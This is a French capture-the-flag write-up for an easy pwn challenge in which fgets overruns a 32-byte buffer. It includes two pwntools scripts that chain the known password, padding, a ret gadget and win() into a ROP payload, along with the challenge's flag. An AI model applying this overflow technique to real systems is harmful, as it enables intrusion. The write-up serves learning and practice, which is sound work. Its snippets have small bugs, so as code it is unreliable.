3 min read

[CTF GEMA] Encrypted

CTF GEMA Groupe 2025

Niveau de Difficulté : Easy

Catégorie du Challenge : Pwn

Description :

Dans un monde dystopique de secrets numériques, un mot de passe détient la clé d’un accès ultime.
La corporation pense qu'il est protégé par un chiffrement incassable… Mais vous, hacker indépendant, savez mieux que ça.
Inversez leur sécurité pathétique, infiltrez-vous et prenez ce qui vous revient !

Steps to Solve

Buffer Overflow dans fgets() :

Le challenge fournit un binaire qui lit un mot de passe chiffré depuis secret.txt, le déchiffre en utilisant XOR avec une clé fixe "1337", et demande à l'utilisateur d'entrer le mot de passe correct.

Si l'entrée correspond, le programme nous permet d'exploiter une vulnérabilité cachée.

La faille principale ici est un buffer overflow dû à fgets(input, 100, stdin);, ce qui permet d'écraser des variables locales et de contrôler le flux d'exécution du programme :

char input[32] = {0};
...
printf("Enter password: ");
fgets(input, 100, stdin); // Buffer Overflow Risk!
if(strncmp(password, input, 20) == 0){
printf("Correct Password!\n");
}
else
{
printf("Incorrect Password!\n");
exit(0);
}
printf("Are you sure you are an Admin ^^ ? ");
getchar();

Le programme déchiffre le mot de passe en utilisant un XOR cipher avec la clé 1337 et l'affiche.
Cela permet à l'attaquant de connaître le mot de passe correct nécessaire pour passer la vérification initiale.

Après avoir passé la vérification du mot de passe (strncmp), les données entrées en excès
écrasent l'adresse de retour sur la stack.

L'objectif est de la remplacer par l'adresse de la fonction win, qui affiche le flag.
Pour garantir une exploitation fiable, une ROP (Return-Oriented Programming) chain est utilisée.

Un ret gadget est inclus pour résoudre les éventuels problèmes d'alignement de la stack avant d'appeler win.

from pwn import *
context.binary = ELF("./main")
rop = ROP(context.binary)
# Craft payload
payload = b"SuP3Rs3cUr3P4SsW0Rd123" # Known correct password (first 20 bytes)
payload += cyclic(50) # Padding to reach return address
payload += p64(rop.find_gadget(['ret'])[0]) # Stack alignment
payload += p64(elf.sym.win) # Address of win()
payload += p64(elf.sym.exit) # Clean exit
# Send payload
r = process("./main")
r.sendlineafter(b": ", payload)
r.sendlineafter(b"? ", b"NO") # Bypass admin check
r.interactive()

Points Clés :

  • Le payload commence avec le mot de passe correct pour passer la vérification strncmp.
  • cyclic(50) génère un motif pour déterminer l'offset nécessaire afin d'atteindre l'adresse de retour.
  • Le ret gadget assure un bon alignement de la stack pour la fonction win.
  • L'adresse de win est ajoutée pour rediriger l'exécution et afficher le flag.

Solve Code :

#!/usr/bin/env python
from pwn import *
import time
warnings.filterwarnings("ignore")
context.log_level = "debug"
libc = None
elf = context.binary = ELF("./main")
def conn():
global r
if args.LOCAL:
r = process([elf.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("127.0.0.1", 1025)
return r
def main():
global r
r = conn()
rop = ROP([elf])
ret = rop.find_gadget(['ret'])[0]
payload = b"SuP3Rs3cUr3P4SsW0Rd123" + cyclic(50) + p64(ret) + p64(elf.sym.win)
+ p64(elf.sym.exit)
r.sendlineafter(b": ", payload)
r.sendlineafter(b"? ", b"NO")
r.interactive()
if __name__ == "__main__":
main()

Flag

FLAG{r3v3rs1ng_x0r_1s_l1k3_unl0ck1ng}